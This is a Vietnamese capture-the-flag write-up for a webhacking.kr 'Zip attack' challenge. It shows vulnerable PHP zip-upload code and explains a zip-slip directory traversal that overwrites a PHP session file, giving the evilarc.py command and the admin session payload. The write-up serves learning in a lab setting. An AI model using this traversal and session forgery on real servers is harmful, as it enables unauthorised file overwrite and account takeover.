---
# System prepended metadata

title: Zip attack
tags: [Security]

---

# Zip attack
Link lab: [http://webhacking.kr:10015/](https://)

#### Source code
```
<?php
session_start();
if(!$_SESSION['uid']) $_SESSION['uid'] = "guest";
if($_SESSION['uid'] == "admin") include "/flag";
if($_FILES['upload']){
  $path = $_FILES['upload']['tmp_name'];
  $zip = new ZipArchive;
  if ($zip->open($_FILES['upload']['tmp_name']) === true){
    for($i = 0; $i < $zip->numFiles; $i++){
      $filename = $zip->getNameIndex($i);
      $filename_ = $filename.rand(10000000,99999999);
      if(strlen($filename) > 240) exit("file name too long");
      if(preg_match('/[\x00-\x1F\x7F-\xFF]/',$filename)) exit("no hack");
      if(copy("zip://{$_FILES['upload']['tmp_name']}#{$filename}", "./upload/{$filename_}")) echo "{$filename_} uploaded.<br>";
      else echo "{$filename_} upload failed.<br>";
    }
    $zip->close();
  }
}
highlight_file(__FILE__);
?><hr><form enctype="multipart/form-data" method="post">  
<input name="upload" type="file" />  
<input type="submit">
</form>
```

Phân tích sơ qua src thì đây là chức năng upload file zip.
-Do `if ($zip->open($_FILES['upload']['tmp_name']) === true)` nên ta chỉ có thể upload được file zip.
-Sau khi upload lên file zip sẽ được mở ra, sau đó đổi tên file (`$filename_ = $filename.rand(10000000,99999999);`) rồi load từng file lên.
```
      if(copy("zip://{$_FILES['upload']['tmp_name']}#{$filename}", "./upload/{$filename_}")) echo "{$filename_} uploaded.<br>";
      else echo "{$filename_} upload failed.<br>";
```
Công dụng của hàm copy: [https://www.php.net/manual/en/function.copy.php](https://)
copy(nguồn, đích đến).
Ở đoạn code này, untrusted data $filename rơi vào vị trí xử lý đường dẫn gây ra lỗi **directory traversal**.
### (1)
--> Ta có thể copy nội dung của file ta upload lên vào bất kì file nào của hệ thống.


---
Để có được flag ta cần phải điều chỉnh uid của mình bằng "admin" 
`if($_SESSION['uid'] == "admin") include "/flag";`
--> Chúng ta cần đi tìm hiểu cơ chế lưu session của php.

Tui tìm được thông tin khá thú vị dựa trên wu này :3 https://blog.christophetd.fr/write-insomnihack-2018-ctf-teaser/#Overwriting_PHP_session_file
> By default, PHP stores its sessions in a serialized format in the directory /var/lib/php/sessions, in a file named sess_[session ID].

Đồng thời trước khi lưu session thì session cũng được encoded như sau:

```
$ php -a
Interactive mode enabled

php > session_start();
php > $_SESSION['challenge'] = "pwned";
php > echo session_encode();
#challenge|s:5:"pwned";
```
Cấu trúc là `{tên session} | {độ dài}:"Thông tin session" `
Vậy sẽ ra sao nếu ta tạo một file với tên là đường dẫn đến vị trí file lưu session? Ok, let try.
Từ (1) ta có vd: 
`copy("zip://{$_FILES['upload']['tmp_name']}#{/var/lib/php/sessions/sess_}", "./upload/{../../../var/lib/php/sessions/sess_xyz}")`

Do chúng ta không thể nào tạo file với tên gồm những kí tự đặc biệt như "/". Nên bạn cứ tạo file với tên bình thường rồi mở hex editor lên chỉnh lại tên (nhưng hơi cực à nha). Nên thôi xài tool cho nhanh :v 
Tải tool https://github.com/ptoomey3/evilarc/blob/master/evilarc.pyvề và tạo file sess_ với nội dung:
```
uid|s:5:"admin"
```
sau đó chạy lệnh: 
```
python evilarc.py -o unix sess_ -p "var/lib/php/sessions"
```
Ta sẽ nhận được file evil.zip giờ thì upload nó lên thôi.
![](https://i.imgur.com/8iszzrF.png)
Cuối cùng ta set trong cookie: PHPSESSID=24094577 và load lại trang để server dùng session này.
![](https://i.imgur.com/y7XoEQt.png)

